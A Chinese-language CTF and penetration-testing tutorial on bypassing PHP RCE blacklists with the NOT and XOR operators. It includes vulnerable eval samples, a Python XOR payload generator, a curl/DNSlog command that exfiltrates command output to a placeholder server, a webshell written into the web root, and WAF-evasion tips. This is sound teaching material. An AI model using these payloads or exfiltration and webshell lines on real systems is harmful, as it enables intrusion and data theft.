PHP黑名单绕过:取反与异或运算在RCE漏洞利用中的实战解析

发布时间:2026/8/3 9:40:19

PHP黑名单绕过:取反与异或运算在RCE漏洞利用中的实战解析 1. 项目概述为什么RCE黑名单绕过是CTF与实战的必修课在网络安全竞赛和实际渗透测试中命令执行RCE漏洞的利用是核心技能之一。然而现代应用防御体系早已不是一片空白开发者会部署各种过滤机制最常见的就是黑名单过滤。直接扔一个system(‘whoami’)过去大概率只会看到一个冷冰冰的“非法字符”提示。这时候绕过技巧的价值就凸显出来了。今天要聊的就是从CTF实战中提炼出的两种高效、经典的PHP黑名单绕过手法取反~和异或^。这两种方法不依赖任何冷门扩展或生僻函数仅利用PHP语言本身的特性就能在字符受限的“牢笼”里凭空构造出我们需要的函数名和参数实现命令执行。这不仅仅是CTF解题的“奇技淫巧”更是理解PHP语言特性、深入代码审计和漏洞利用的绝佳切入点。很多真实的CMS、框架在过滤用户输入时都可能留下类似的逻辑缝隙。掌握它们意味着你在面对一个看似严密的黑名单时手中多了一把甚至好几把钥匙。本文将手把手拆解原理提供可复现的解题脚本并分享我在实际测试中积累的避坑经验。无论你是刚入门CTF的新手还是想深化Web安全理解的从业者这篇内容都能给你带来直接的、可操作的收获。2. 核心原理拆解取反与异或在字符构造中的魔力要理解绕过首先要明白黑名单通常如何工作。一个简单的RCE漏洞点代码可能长这样?php $cmd $_GET[‘cmd’]; $blacklist array(‘system’, ‘exec’, ‘passthru’, ‘shell_exec’, ‘|’, ‘’, ‘;’, ‘’, ‘$’); foreach ($blacklist as $bad) { if (strpos($cmd, $bad) ! false) { die(‘Hacker!’); } } eval(“echo “ . $cmd . “;”); ?这段代码从GET参数cmd获取输入然后检查输入中是否包含黑名单数组里的任何危险字符串或字符一旦发现就中断执行。我们的目标就是构造一个能通过检查但最终仍能执行系统命令的cmd值。2.1 取反运算~的原理与应用PHP中的取反运算符~会对一个值的每一位二进制数进行逻辑非操作0变11变0。当它作用于字符串时会依次对字符串中每个字符的ASCII码进行取反。例如字符s的ASCII码是115二进制为01110011。对其取反~0111001110001100这个十进制是140对应一个扩展ASCII字符通常不可见或为特殊字符。在PHP中我们可以用~‘字符’的形式得到一个取反后的字符串。核心思路我们无法直接输入system但我们可以输入system每个字符取反后拼接起来的字符串。在代码执行时如果我们能对这个字符串再次进行取反操作就能还原出system。即system~(~‘s’ . ~‘y’ . ~‘s’ . ~‘t’ . ~‘e’ . ~‘m’)。关键在于我们如何让这个取反操作发生通常有两种场景代码中存在~运算符可利用比如题目代码本身就是eval(~$_GET[‘a’])那我们直接提交system的取反字符串即可。利用PHP的字符串解析特性这是更常见的情况。在PHP中~~a这样的写法是语法错误但我们可以通过动态函数调用等方式间接实现。例如如果我们能控制一个变量名将其赋值为取反后的字符串再通过$var()的方式调用就需要一次额外的取反来还原函数名。此时我们常常需要结合PHP的可变变量和$_GET/$_POST数组。一个简单的例子 假设我们可以这样传参?a~system。但~system本身在传输时~和s这些字符可能被过滤。所以我们通常先在自己的环境中计算出system取反后的字符串内容一个乱码字符串然后直接提交这个乱码字符串作为参数值。如何计算在本地PHP环境中运行?php echo urlencode(~‘system’); // 输出取反后字符串的URL编码形式 // 或者直接输出 $payload (~‘system’); for($i0; $istrlen($payload); $i){ echo ord($payload[$i]).‘ ’; // 输出每个字符的ASCII码 } ?得到的结果一串数字或编码后的字符串就是我们payload的一部分。2.2 异或运算^的原理与应用异或运算符^的规则是相同为0不同为1。在PHP中对两个字符串进行异或是对它们对应字符的ASCII码进行按位异或生成一个新的字符串。核心思路如果我们想得到字符串system我们可以找到另外两个字符串A和B满足A ^ B ‘system’。那么在代码执行时如果我们能构造出A^B这个表达式其结果就是system。如何寻找这样的A和B这里有一个关键点在PHP中两个字符串异或是从第一个字符开始依次对两个字符串的每个字符进行异或。如果两个字符串长度不同短字符串会被用空字符(\0)补齐到与长字符串相同长度。但更实用的方法是我们通常用可见字符即ASCII码在32-126之间的字符来构造A和B确保它们能顺利通过大多数过滤。构造方法 对于目标字符串system的每一个字符比如s’ ASCII 115我们需要找到两个可见字符char_a和char_b使得ord(char_a) ^ ord(char_b) 115。因为异或运算是可逆的如果我们固定char_a为一个任意可见字符例如a’ ASCII 97那么char_b chr(97 ^ 115) chr(50) ‘2’。2也是可见字符。这样我们就用a和2异或得到了s。依次对s,y,s,t,e,m进行这样的操作我们可以用两串长度相等的、完全由可见字符组成的字符串A和B使它们异或后得到system。为什么异或绕过更强大因为取反得到的字符串往往包含大量不可见字符在传输或某些过滤场景下可能被截断或处理。而异或可以做到无字符仅用可见字符RCE。所谓“无字符”并不是真的不用字符而是指payload中不直接出现被禁用的函数名、括号、引号等关键字符全部由字母数字等“白名单”字符通过运算构造出来从而绕过基于正则匹配的黑名单。3. 实战场景分析与工具链准备在真正动手构造payload之前我们需要明确实战中的常见场景并准备好相应的工具。CTF题目千变万化但核心过滤模式不外乎以下几种直接字符串匹配黑名单如开篇例子使用strpos、preg_match等函数匹配system、exec等关键词。正则表达式过滤例如preg_replace(‘/[a-z]/i’, ‘’, $input)过滤所有字母。这种情况下取反和异或的payload本身如果是可见字符构造也可能被过滤需要调整策略。字符禁用过滤了空格、反引号、分号、美元符号、括号等。这需要我们调整命令执行的写法比如用${IFS}代替空格用??php标签闭合等。多级过滤与WAF现实中的Web应用防火墙WAF或自定义过滤器可能有多层规则包括长度限制、编码检测等。我们的工具链准备本地PHP环境用于计算payload、测试效果。推荐使用Docker快速搭建例如docker run -it --rm php:8.2-cli php -a进入交互模式。Burp Suite 或 Postman用于发送精心构造的HTTP请求特别是当payload包含特殊字符时方便进行URL编码和修改。Python脚本自动化生成异或payload的利器。手动计算六个字符的对应关系尚且可行但如果要构造一个长命令如system(‘cat /flag’)手动计算几乎不可能。我们需要编写脚本自动寻找可见字符对。浏览器开发者工具用于观察请求响应调试前端可能的编码或拦截。一个重要心得不要一上来就想着生成最终payload。先进行信息收集提交一些简单测试字符看回显、看错误信息判断过滤规则是黑名单还是白名单过滤了哪些具体字符是否有长度限制是否对输入进行了编码或解码操作。这能帮你节省大量盲目尝试的时间。4. 手把手构造取反绕过实战演练假设我们遇到一个题目其核心代码如下?php highlight_file(__FILE__); $code $_GET[‘code’]; $blacklist [‘[a-z]’, ‘\s’, ‘\‘’, ‘“’, ‘\’, ‘\[’, ‘\]’, ‘\$’, ‘\\’, ‘\^’, ‘\~’]; foreach ($blacklist as $item) { if (preg_match(‘/‘ . $item . ‘/i’, $code)) { die(‘Bad char!’); } } eval($code . ‘;’); ?这个黑名单用正则过滤了小写字母、空白、引号、反引号、方括号、美元符号、反斜杠甚至把^和~也过滤了这意味着我们不能直接在code参数里写~‘...‘这样的取反表达式。但是注意eval($code . ‘;’)它只是把我们输入的$code拼接一个分号后执行。如果我们能构造一个变量其值就是取反后的字符串然后通过某种方式对这个变量进行取反操作是不是就可以了思路转换我们不能在输入里写~但PHP语言本身有取反操作。如果我们能构造一个字符串其内容就是system每个字符取反后的结果然后让这个字符串在eval的执行环境里被PHP的取反运算符作用一次就能得到system。但eval里怎么引入取反操作呢除非我们输入的$code本身就包含~运算符但~被过滤了。这时候需要利用一个特性PHP在拼接字符串时如果字符串是字面量且其中包含的变量名符合规范该变量会被解析。但这似乎走不通。更直接的思路是利用.连接符和已经存在的变量。但题目环境通常很干净。一个更可行的经典方法是利用PHP的$_GET或$_POST数组本身以及字符串索引的特性。虽然我们不能直接传~但我们可以传一个数组的键名这个键名是一个取反后的字符串。然后在代码中通过$_GET[‘某个参数’]来引用它。但这里$code是直接eval的我们需要构造的$code值最终必须是一个合法的、能产生取反操作的PHP表达式。让我们退一步看一个更典型、更简单的取反绕过场景假设黑名单只过滤了函数名但没过滤~和引号// 假设这是题目代码黑名单过滤了‘system‘, ‘exec‘等单词但没过滤‘~‘ $func $_GET[‘func’]; $arg $_GET[‘arg’]; if (preg_match(‘/system|exec|passthru|shell_exec/i’, $func)) { die(‘Hacker!’); } $func($arg); // 动态函数调用这时我们可以本地计算取反payload$payload urlencode(~‘system’);假设得到%8C%86%8C%8B%9A%92。提交请求?func%8C%86%8C%8B%9A%92argwhoami。服务器端$func的值为这个乱码字符串。但直接$func($arg)会出错因为%8C%86...不是一个有效函数名。关键点我们需要在服务器端对这个字符串进行一次取反。但代码里没有~操作。怎么办如果代码是(~$func)($arg)那就可以。但题目不是。在这种情况下单纯的取反绕过可能失效需要结合其他技巧比如利用assert函数配合字符串拼接或者寻找代码中其他能执行取反操作的地方。这引出了CTF中的一个常见技巧全局搜索所有用户输入点。也许func参数过滤很严但另一个参数x可能被用于其他地方比如$x ~$_GET[‘x’];然后$x又被拼接进了eval的字符串中。这就需要代码审计的能力了。取反绕过的局限性生成的payload包含不可见字符在URL传输中可能需要正确编码在某些上下文如作为函数名中可能引发问题。它更适合于目标环境本身就会对输入进行取反操作或者我们可以将取反后的字符串作为数据而非代码传递然后在执行上下文中通过某些方式触发取反的场合。5. 手把手构造异或绕过实战演练异或绕过比取反更灵活因为它可以生成纯可见字符的payload。我们继续使用第4节第一个复杂的过滤场景过滤了字母、空格、引号、反引号、^、~等。注意它过滤了小写字母[a-z]但没有过滤大写字母[A-Z]和数字[0-9]同时它过滤了^和~运算符本身但没有过滤异或运算的结果只要我们能用其他方式构造出异或表达式。一个突破点PHP中两个字符串异或除了用^运算符还可以通过string1 ^ string2的形式但这里需要引号。引号被过滤了。还有别的方法吗有利用PHP中字符串与数字的自动转换以及位运算的特性。但更经典的异或绕过场景是下面这种?php highlight_file(__FILE__); $cmd $_GET[‘cmd’]; $blacklist [‘[a-z]’, ‘\s’, ‘\\\\’, ‘\/’, ‘\‘’, ‘“’, ‘\’, ‘\[’, ‘\]’, ‘\$’, ‘\’, ‘\’]; foreach ($blacklist as $item) { if (preg_match(‘/‘ . $item . ‘/i’, $cmd)) { die(‘Bad char!’); } } eval($cmd . ‘;’); ?这个过滤了所有小写字母和很多特殊字符但没有过滤大写字母、数字、点号.、括号()、以及等符号。我们的目标是执行system(‘ls’)。system是小写被禁。我们需要用大写字母和数字异或构造出system。步骤1构造函数名system我们需要找到两串由大写字母和数字组成的字符串$A和$B使得$A ^ $B ‘system’。 我们可以写一个Python脚本来暴力寻找import itertools def find_xor_pair(target): target_chars list(target) # 可用字符集这里假设大写字母和数字 charset [chr(i) for i in range(ord(‘A’), ord(‘Z’)1)] [chr(i) for i in range(ord(‘0’), ord(‘9’)1)] # 为了简化我们固定第一个字符串为某个模式比如全’A‘然后计算第二个字符串 # 但更通用的方法是搜索 for a_chars in itertools.product(charset, repeatlen(target)): a ‘’.join(a_chars) b ‘’ valid True for i in range(len(target)): xor_val ord(a[i]) ^ ord(target[i]) if chr(xor_val) not in charset: # 要求b的每个字符也在字符集内 valid False break b chr(xor_val) if valid: return a, b return None, None target ‘system’ a, b find_xor_pair(target) if a and b: print(f“A: {a}”) print(f“B: {b}”) print(f“Verify: {repr(‘‘.join(chr(ord(a[i]) ^ ord(b[i])) for i in range(len(a))))}”) else: print(“Not found with given charset.”)运行后我们可能会得到一对字符串例如A‘XVLEJOG’,B‘EHMCBN’此处为举例实际结果需运行脚本。但注意system是6个字符我们的A和B也必须是6个字符。脚本会搜索。步骤2构造参数‘ls’同样我们需要构造‘ls’。但注意单引号‘被过滤了。我们不能直接写‘ls’。怎么办我们可以用同样的异或法构造出字符串ls但如何将它作为参数传递呢在eval中如果我们能构造出($A^$B)(‘ls’)这样的形式但引号被过滤了。这里需要另一个技巧在PHP中字符串可以用.拼接并且未定义的常量会被当作字符串会抛出一个Warning但会继续执行。例如直接写lsPHP会先把它当成一个常量找不到后降级为字符串‘ls’。但这里ls包含小写字母被过滤了。所以此路不通。一个更强大的方法是用异或构造出整个函数调用语句的字符串然后用assert或eval本身来执行。但assert也可能被过滤。如果eval可用且我们能把最终payload作为一个字符串交给eval那么问题就变成了如何构造一个字符串其内容是system(‘ls’)我们可以用异或构造出这个完整的字符串然后通过某种方式让这个字符串被eval。假设我们构造了两个长字符串$X和$Y使得$X ^ $Y “system(‘ls’)”。那么在eval中我们可以写eval($X^$Y);。但eval本身在$cmd里而$cmd会被拼接分号后执行。所以我们的payload可以是?cmdeval($X^$Y)。但eval是小写字母开头被过滤了。而且$X和$Y作为变量需要被定义或者来自$_GET。一个经典的最终payload构造流程无数字字母RCE利用未被过滤的字符如_、、[]、.、()等构造出$_GET数组的访问。例如$_GET[‘a’]可以用${_GET}[‘a’]表示如果$和[被过滤可能需要更奇技淫巧比如利用phpinfo()中的信息作为字符串来源。将我们通过异或生成的、代表system(‘ls’)的字符串放在GET参数a的值中这个值是一串乱码或可见字符取决于构造方式。在cmd参数中构造一个表达式从$_GET[‘a’]中取出这个字符串并用assert或类似的函数执行它。如果assert被过滤可以尝试create_function、preg_replace的/e模式已废弃等。由于这个构造过程极其复杂且严重依赖于题目具体的过滤规则在真实的CTF中往往需要结合自动化工具生成payload。网络上流行的“无字母数字Webshell”生成脚本其核心就是异或和取反算法。我的经验在实战中如果遇到如此严格的过滤我通常会先尝试异或绕过生成一个最简单的phpinfo()来测试环境。因为phpinfo包含小写字母需要构造。如果成功再进一步构造更复杂的命令执行。如果异或也走不通就要考虑其他层面比如利用.htaccess、文件包含、序列化漏洞等进行降维打击。6. 解题脚本编写与自动化思路手动构造异或payload是繁琐且容易出错的。作为一名实战者拥有自己的武器库至关重要。下面分享一个我常用的Python脚本框架用于生成异或绕过payload。这个脚本的思路是给定一个目标字符串如system(‘cat /flag’)和一个允许的字符集如大写字母和数字自动寻找两串符合要求的字符串A和B。#!/usr/bin/env python3 import urllib.parse def generate_xor_payload(target, charsetNone): “”” 生成异或payload。 :param target: 目标字符串如 ‘system(‘ls /‘)‘ :param charset: 允许使用的字符集默认为大写字母数字 :return: 字典包含字符串A、B以及最终payload构造示例 “”” if charset is None: # 默认字符集大写字母 A-Z 和数字 0-9 charset [chr(i) for i in range(ord(‘A’), ord(‘Z’)1)] [chr(i) for i in range(ord(‘0’), ord(‘9’)1)] target_len len(target) # 为了简化我们采用一种策略固定字符串A为字符集中某个字符的重复比如全‘A‘ # 然后计算对应的B。如果B的字符都在字符集内则成功。 base_char ‘A‘ # 可以尝试字符集中的不同字符作为基础 a base_char * target_len b ‘‘ for i in range(target_len): xor_val ord(base_char) ^ ord(target[i]) if chr(xor_val) not in charset: # 如果使用全’A‘不行可以尝试遍历字符集寻找合适的base_char print(f“[!] Failed with base char ‘{base_char}‘ for target char ‘{target[i]}‘. Trying next...“) # 这里可以加入更复杂的搜索算法比如回溯。为简洁本例仅尝试单个base_char。 return None b chr(xor_val) payload_php f“({a}^{b})“ # 在PHP中这就是异或运算 # URL编码 a_encoded urllib.parse.quote(a) b_encoded urllib.parse.quote(b) payload_php_encoded urllib.parse.quote(payload_php) result { ‘target‘: target, ‘A‘: a, ‘B‘: b, ‘A_encoded‘: a_encoded, ‘B_encoded‘: b_encoded, ‘php_expression‘: payload_php, ‘php_expression_encoded‘: payload_php_encoded, ‘verification‘: ‘‘.join(chr(ord(a[i]) ^ ord(b[i])) for i in range(target_len)) } return result if __name__ ‘__main__‘: # 示例生成执行 whoami 的 payload target_cmd “system(‘whoami‘)“ print(f“[*] Generating XOR payload for: {target_cmd}“) res generate_xor_payload(target_cmd) if res: print(f“[] Success!“) print(f“ Target: {res[‘target‘]}“) print(f“ String A: {res[‘A‘]} (URL encoded: {res[‘A_encoded‘]})“) print(f“ String B: {res[‘B‘]} (URL encoded: {res[‘B_encoded‘]})“) print(f“ PHP Expression (A^B): {res[‘php_expression‘]}“) print(f“ PHP Expression (URL encoded): {res[‘php_expression_encoded‘]})“) print(f“ Verification (should be target): {res[‘verification‘]}“) print(“\n[*] Usage idea:“) print(“ If you can control a variable like $a and $b, set them to these strings.“) print(“ Then use eval($a ^ $b); or ($a ^ $b)(); if the result is a function name.“) print(“ Note: This example assumes no parentheses or quotes in target are filtered.“) else: print(“[-] Failed to generate payload with the given charset. Try expanding the charset.“)脚本使用说明与注意事项字符集调整如果题目只允许数字就把charset设为[‘0‘-‘9‘]如果允许一些特殊符号如、.也加进去。字符集越大构造成功的概率越高。固定字符策略这个脚本采用了固定A字符串为同一字符的简单策略。优点是生成速度快B字符串就是目标字符串每个字符与固定字符异或的结果。缺点是可能失败B的某个字符不在字符集内。生产级的脚本如著名的phpggc工具中的相关脚本会采用更复杂的搜索算法甚至利用多个字符串异或如A^B^C来增加成功率。Payload构造脚本输出的php_expression是(AAA... ^ BBB...)。在实战中你需要根据题目环境将其嵌入。例如如果题目是eval($_GET[‘cmd‘])且过滤了字母但没过滤^和括号你可以尝试提交?cmd(AAA...^BBB...);。但注意这样eval执行的是异或结果如果结果是system(‘whoami‘)这个字符串它会被当作代码执行吗不会它只是一个字符串。你需要外面再套一个eval或者利用其他方式执行这个字符串。所以更常见的用法是异或构造出一个函数名如system然后配合参数使用。自动化集成可以将此脚本与Burp Suite的Intruder或扩展结合自动针对目标生成payload并测试。更高级的框架如sqlmap的tamper脚本、Commix的自定义payload模块原理也类似。一个重要提醒自动化脚本是辅助理解原理才是根本。在真实攻防或CTF中往往需要根据目标的错误回显动态调整字符集和payload结构甚至结合多种绕过手法如编码、模板注入、文件包含才能成功。7. 常见问题排查与实战避坑指南即使理解了原理拥有了脚本在实际操作中还是会遇到各种“坑”。下面是我在多次CTF和渗透测试中总结的一些常见问题及解决方案。问题1Payload提交后没有任何回显或者返回500错误。可能原因1特殊字符被Web服务器或中间件处理。例如%00空字符、%0a换行可能在传输过程中被截断。号在URL中会被解码为空格。某些不可见字符可能被WAF识别并拦截。排查技巧使用Burp Suite的Decoder模块对比你生成的payload原始字节和发送出去的字节是否一致。尝试双重URL编码。将payload中所有特殊字符包括%本身进行两次URL编码。例如%变成%25%25再变成%2525。这可以绕过一些简单的解码过滤。更换请求方法。从GET改为POST或者反之。POST的body部分对特殊字符的处理有时与URL不同。添加无关参数或修改User-Agent。有些WAF基于流量特征检测添加一些随机参数或使用常见的浏览器UA可能降低检测概率。问题2异或构造的payload在本地测试成功但打到目标上无效。可能原因1目标PHP版本或配置差异。不同PHP版本对字符串处理、错误抑制、运算符优先级可能有细微差别。例如在php.ini中short_open_tag的设置会影响?的解析。可能原因2字符编码问题。你的脚本和目标的默认字符编码可能不同如UTF-8 vs GBK。中文字符的多字节编码可能会破坏异或计算。排查技巧如果题目提供了Docker环境或提示了PHP版本尽量在本地搭建相同环境测试。先尝试一个最简单的payload比如异或构造phpinfo()看能否成功。如果phpinfo能执行说明环境基本通顺再构造复杂payload。在payload中加入操作符抑制错误或者使用echo、print_r输出中间变量值帮助调试如果题目有回显。问题3过滤规则似乎绕不过去感觉所有路都被堵死了。可能原因陷入了思维定式只盯着代码执行这一条路。黑名单过滤非常严格时可能需要转换利用思路。拓展思路利用PHP内置函数很多PHP函数可以间接执行命令或读写文件不一定非要system/exec。例如pcntl_exec(需要开启扩展)popen/proc_openmail()函数配合sendmail命令如果配置不当LD_PRELOAD劫持通过putenvimagick、ffmpeg等扩展的命令注入参数利用文件操作如果能写文件可以写入一个Webshell。例如利用file_put_contents配合?eval($_POST[‘a‘]);?短标签可能被过滤需调整。利用序列化与反序列化如果存在反序列化点可以构造POP链执行命令完全不需要敏感函数名出现在初始payload中。利用.htaccess如果允许上传.htaccess文件可以设置AddHandler或php_value来将任意文件当作PHP解析。利用PHP过滤器链在文件包含漏洞中php://filter的convert.iconv.过滤器可以进行字符转换有时可用于绕过过滤。问题4命令执行成功了但读不到flag或者执行结果被过滤了。可能原因1flag文件名或路径未知。CTF中flag可能不在根目录名字可能是flag、flag.txt、flag.php、.flag等。排查技巧先执行ls -la /查看根目录ls -la查看当前目录。使用find / -name ‘*flag*‘ 2/dev/null全局搜索。如果命令回显被过滤尝试外带数据DNSLog、HTTP请求curl http://your-server.com/$(whoami)ping -c 1 $(whoami).your-dnslog.com如果连外带都不行尝试写入文件再访问echo ‘?php system($_GET[“c“]);?‘ /var/www/html/shell.php。一个关键的避坑经验永远进行本地模拟测试。在把payload发送到真实目标前尽可能在本地搭建一个模拟环境用Docker最方便用相同的PHP版本和配置进行测试。这能帮你排除掉90%的环境问题。另外多阅读PHP官方文档中关于字符串运算符、位运算符、类型转换的部分很多绕过技巧都源于对语言特性的深刻理解而不仅仅是记忆payload。

相关新闻